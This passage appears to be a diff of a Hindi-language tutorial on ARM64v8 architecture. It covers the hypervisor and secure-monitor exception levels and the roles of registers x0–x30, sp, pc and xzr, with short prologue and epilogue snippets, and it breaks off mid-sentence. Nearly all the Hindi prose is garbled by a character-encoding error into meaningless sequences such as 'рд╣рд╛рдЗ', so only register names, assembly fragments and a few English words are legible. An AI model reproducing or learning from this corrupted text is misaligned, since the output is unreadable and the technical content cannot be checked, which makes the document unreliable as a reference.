рд╣рд╛рдЗрдкрд░рд╡рд╛рдЗрдЬрд░ рдореЛрдб**: - рдпрд╣ рд╕реНрддрд░ рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред EL2 рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╣рд╛рдЗрдкрд░рд╡рд╛рдЗрдЬрд░ рдПрдХ рд╣реА рднреМрддрд┐рдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдкрд░ рдХрдИ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо (рдкреНрд░рддреНрдпреЗрдХ рдЕрдкрдиреЗ EL1 рдореЗрдВ) рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- EL2 рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреНрдб рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧрд╛рд╡ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреА рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- EL2 рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреНрдб рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧрд╛рд╡ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред 4. **EL3 - рд╕реБрд░рдХреНрд╖рд┐рдд рдореЙрдирд┐рдЯрд░ рдореЛрдб**: - рдпрд╣ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕реНрддрд░ рд╣реИ рдФрд░ рдЕрдХреНрд╕рд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдмреВрдЯрд┐рдВрдЧ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд┐рд╖реНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- EL3 рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдЧреИрд░-рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╛рдЬреНрдпреЛрдВ (рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдмреВрдЯ, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп OS, рдЖрджрд┐) рдХреЗ рдмреАрдЪ рдкрд╣реБрдБрдЪ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдФрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- EL3 рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдЧреИрд░-рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╛рдЬреНрдпреЛрдВ рдХреЗ рдмреАрдЪ рдкрд╣реБрдБрдЪ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдмреВрдЯ, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп OS, рдЖрджрд┐)ред -рдЗрди рд╕реНрддрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рдкрд╣рд▓реБрдУрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд▓реЗрдХрд░ рд╕рдмрд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рд┐рд╕реНрдЯрдо рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рддрдХред ARMv8 рдХрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕реНрддрд░реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рдШрдЯрдХреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЕрд▓рдЧ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдордЬрдмреВрддреА рдмрдврд╝рддреА рд╣реИред +рдЗрди рд╕реНрддрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рдкрд╣рд▓реБрдУрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рд╕реЗ рд▓реЗрдХрд░ рд╕рдмрд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рд┐рд╕реНрдЯрдо рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рддрдХред ARMv8 рдХрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕реНрддрд░реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рдШрдЯрдХреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЕрд▓рдЧ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдордЬрдмреВрддреА рдмрдврд╝рддреА рд╣реИред ## **рд░рдЬрд┐рд╕реНрдЯрд░ (ARM64v8)** ARM64 рдореЗрдВ **31 рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕реНрдЯрд░** рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ `x0` рд╕реЗ `x30` рддрдХ рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ **64-рдмрд┐рдЯ** (8-рдмрд╛рдЗрдЯ) рдорд╛рди рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЬрд┐рди рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ 32-рдмрд┐рдЯ рдорд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ 32-рдмрд┐рдЯ рдореЛрдб рдореЗрдВ w0 рд╕реЗ w30 рдХреЗ рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -1. **`x0`** рд╕реЗ **`x7`** - рдпреЗ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдХреНрд░реИрдЪ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рдЙрдк-рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдкреИрд░рд╛рдореАрдЯрд░ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +1. **`x0`** рд╕реЗ **`x7`** - рдпреЗ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдХреНрд░реИрдЪ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рдЙрдкрд░реВрдЯреАрди рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред - **`x0`** рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓рд╛ рдбреЗрдЯрд╛ рднреА рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред 2. **`x8`** - рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ, `x8` `svc` рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдирдВрдмрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **macOS рдореЗрдВ x16 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ!** 3. **`x9`** рд╕реЗ **`x15`** - рдЕрдзрд┐рдХ рдЕрд╕реНрдерд╛рдпреА рд░рдЬрд┐рд╕реНрдЯрд░, рдЕрдХреНрд╕рд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -4. **`x16`** рдФрд░ **`x17`** - **рдЗрдВрдЯреНрд░рд╛-рдкреНрд░реЛрд╕реАрдЬрд░ рдХреЙрд▓ рд░рдЬрд┐рд╕реНрдЯрд░**ред рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрд╕реНрдерд╛рдпреА рд░рдЬрд┐рд╕реНрдЯрд░ред рдЗрдиреНрд╣реЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдФрд░ PLT (рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓рд┐рдВрдХ рдЯреЗрдмрд▓) рд╕реНрдЯрдм рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **`x16`** **`svc`** рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рд┐рдП **рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдирдВрдмрд░** рдХреЗ рд░реВрдк рдореЗрдВ **macOS** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -5. **`x18`** - **рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд░рдЬрд┐рд╕реНрдЯрд░**ред рдЗрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░, рдпрд╣ рд░рдЬрд┐рд╕реНрдЯрд░ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рд╣реИ: рд╡рд┐рдВрдбреЛрдЬрд╝ рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдереНрд░реЗрдб рд╡рд╛рддрд╛рд╡рд░рдг рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░, рдпрд╛ рд╡рд░реНрддрдорд╛рди **рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд╛рд░реНрдп рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ**ред +4. **`x16`** рдФрд░ **`x17`** - **рдЗрдВрдЯреНрд░рд╛-рдкреНрд░реЛрд╕реАрдЬреБрд░рд▓ рдХреЙрд▓ рд░рдЬрд┐рд╕реНрдЯрд░**ред рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрд╕реНрдерд╛рдпреА рд░рдЬрд┐рд╕реНрдЯрд░ред рдЗрдиреНрд╣реЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдФрд░ PLT (рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓рд┐рдВрдХ рдЯреЗрдмрд▓) рд╕реНрдЯрдм рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **`x16`** **macOS** рдореЗрдВ **`svc`** рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рд┐рдП **рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдирдВрдмрд░** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +5. **`x18`** - **рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд░рдЬрд┐рд╕реНрдЯрд░**ред рдЗрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░, рдпрд╣ рд░рдЬрд┐рд╕реНрдЯрд░ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рд╣реИ: рд╡рд┐рдВрдбреЛрдЬрд╝ рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдереНрд░реЗрдб рд╡рд╛рддрд╛рд╡рд░рдг рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░, рдпрд╛ рд╡рд░реНрддрдорд╛рди **рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд╛рд░реНрдп рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**ред 6. **`x19`** рд╕реЗ **`x28`** - рдпреЗ рдХреЙрд▓-рд╕реЗрд╡ рдХрд┐рдП рдЧрдП рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИрдВред рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЕрдкрдиреЗ рдХреЙрд▓рд░ рдХреЗ рд▓рд┐рдП рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рд▓рд┐рдП рдЗрдиреНрд╣реЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЙрд▓рд░ рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред 7. **`x29`** - **рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░** рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЬрдм рдПрдХ рдирдпрд╛ рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **`x29`** рд░рдЬрд┐рд╕реНрдЯрд░ **рд╕реНрдЯреИрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдирдпрд╛** рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рдкрддрд╛ (**`sp`** рдкрддрд╛) рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐ рдореЗрдВ **рд╕рдВрдЧреНрд░рд╣реАрдд** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ **рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕реНрдЯрд░** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рдЖрдорддреМрд░ рдкрд░ **рд╕реНрдерд╛рдиреАрдп рдЪрд░** рдХреЗ рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -8. **`x30`** рдпрд╛ **`lr`**- **рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░**ред рдпрд╣ рдПрдХ `BL` (рдмреНрд░рд╛рдВрдЪ рд╡рд┐рдж рд▓рд┐рдВрдХ) рдпрд╛ `BLR` (рдмреНрд░рд╛рдВрдЪ рд╡рд┐рдж рд▓рд┐рдВрдХ рдЯреВ рд░рдЬрд┐рд╕реНрдЯрд░) рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рдордп **рд░рд┐рдЯрд░реНрди рдкрддрд╛** рдХреЛ рд░рдЦрддрд╛ рд╣реИ, **`pc`** рдорд╛рди рдХреЛ рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдХреЗред -- рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА рддрд░рд╣ рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +8. **`x30`** рдпрд╛ **`lr`**- **рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░**ред рдпрд╣ рдПрдХ `BL` (рдмреНрд░рд╛рдВрдЪ рд╡рд┐рдж рд▓рд┐рдВрдХ) рдпрд╛ `BLR` (рдмреНрд░рд╛рдВрдЪ рд╡рд┐рдж рд▓рд┐рдВрдХ рдЯреВ рд░рдЬрд┐рд╕реНрдЯрд░) рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рдордп **рд░рд┐рдЯрд░реНрди рдкрддрд╛** рд░рдЦрддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ **`pc`** рдорд╛рди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред +- рдЗрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА рддрд░рд╣ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - рдпрджрд┐ рд╡рд░реНрддрдорд╛рди рдлрд╝рдВрдХреНрд╢рди рдПрдХ рдирдП рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП `lr` рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛, рддреЛ рдпрд╣ рдЗрд╕реЗ рд╕реНрдЯреИрдХ рдореЗрдВ рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛, рдпрд╣ рдЙрдкрд╕рдВрд╣рд╛рд░ рд╣реИ (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` рдФрд░ `lr` рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░реЗрдВ, рд╕реНрдерд╛рди рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ рдФрд░ рдирдпрд╛ `fp` рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ) рдФрд░ рдЕрдВрдд рдореЗрдВ рдЗрд╕реЗ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдпрд╣ рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛ рд╣реИ (`ldp x29, x30, [sp], #48; ret` -> `fp` рдФрд░ `lr` рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рд▓реМрдЯреЗрдВ)ред -9. **`sp`** - **рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░**, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +9. **`sp`** - **рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░**, рдЬреЛ рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - **`sp`** рдорд╛рди рдХреЛ рд╣рдореЗрд╢рд╛ рдХрдо рд╕реЗ рдХрдо рдПрдХ **рдХреНрд╡рд╛рдбрд╡рд░реНрдб** **рд╕рдВрд░реЗрдЦрдг** рдкрд░ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЕрдиреНрдпрдерд╛ рдПрдХ рд╕рдВрд░реЗрдЦрдг рдЕрдкрд╡рд╛рдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -10. **`pc`** - **рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛рдЙрдВрдЯрд░**, рдЬреЛ рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдХреЗрд╡рд▓ рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ, рдЕрдкрд╡рд╛рдж рд▓реМрдЯрдиреЗ рдФрд░ рд╢рд╛рдЦрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдХреЗрд╡рд▓ рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд░реНрджреЗрд╢ рдЬреЛ рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рд╡реЗ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╢рд╛рдЦрд╛ рдирд┐рд░реНрджреЗрд╢ (BL, BLR) рд╣реИрдВ рдЬреЛ **`pc`** рдкрддрд╛ рдХреЛ **`lr`** (рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░) рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред -11. **`xzr`** - **рдЬрд╝реАрд░реЛ рд░рдЬрд┐рд╕реНрдЯрд░**ред рдЗрд╕реЗ рдЗрд╕рдХреЗ **32**-рдмрд┐рдЯ рд░рдЬрд┐рд╕реНрдЯрд░ рд░реВрдк рдореЗрдВ **`wzr`** рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реВрдиреНрдп рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ (рд╕рд╛рдорд╛рдиреНрдп рдСрдкрд░реЗрд╢рди) рдпрд╛ **`subs`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ **`subs XZR, Xn, #10`** рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдбреЗрдЯрд╛ рдХреЛ рдХрд╣реАрдВ рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ ( **`xzr`** рдореЗрдВ)ред +10. **`pc`** - **рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛рдЙрдВрдЯрд░**, рдЬреЛ рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдХреЗрд╡рд▓ рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ, рдЕрдкрд╡рд╛рдж рд▓реМрдЯрд╛рдиреЗ рдФрд░ рд╢рд╛рдЦрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рд╕рд╛рдорд╛рдиреНрдп 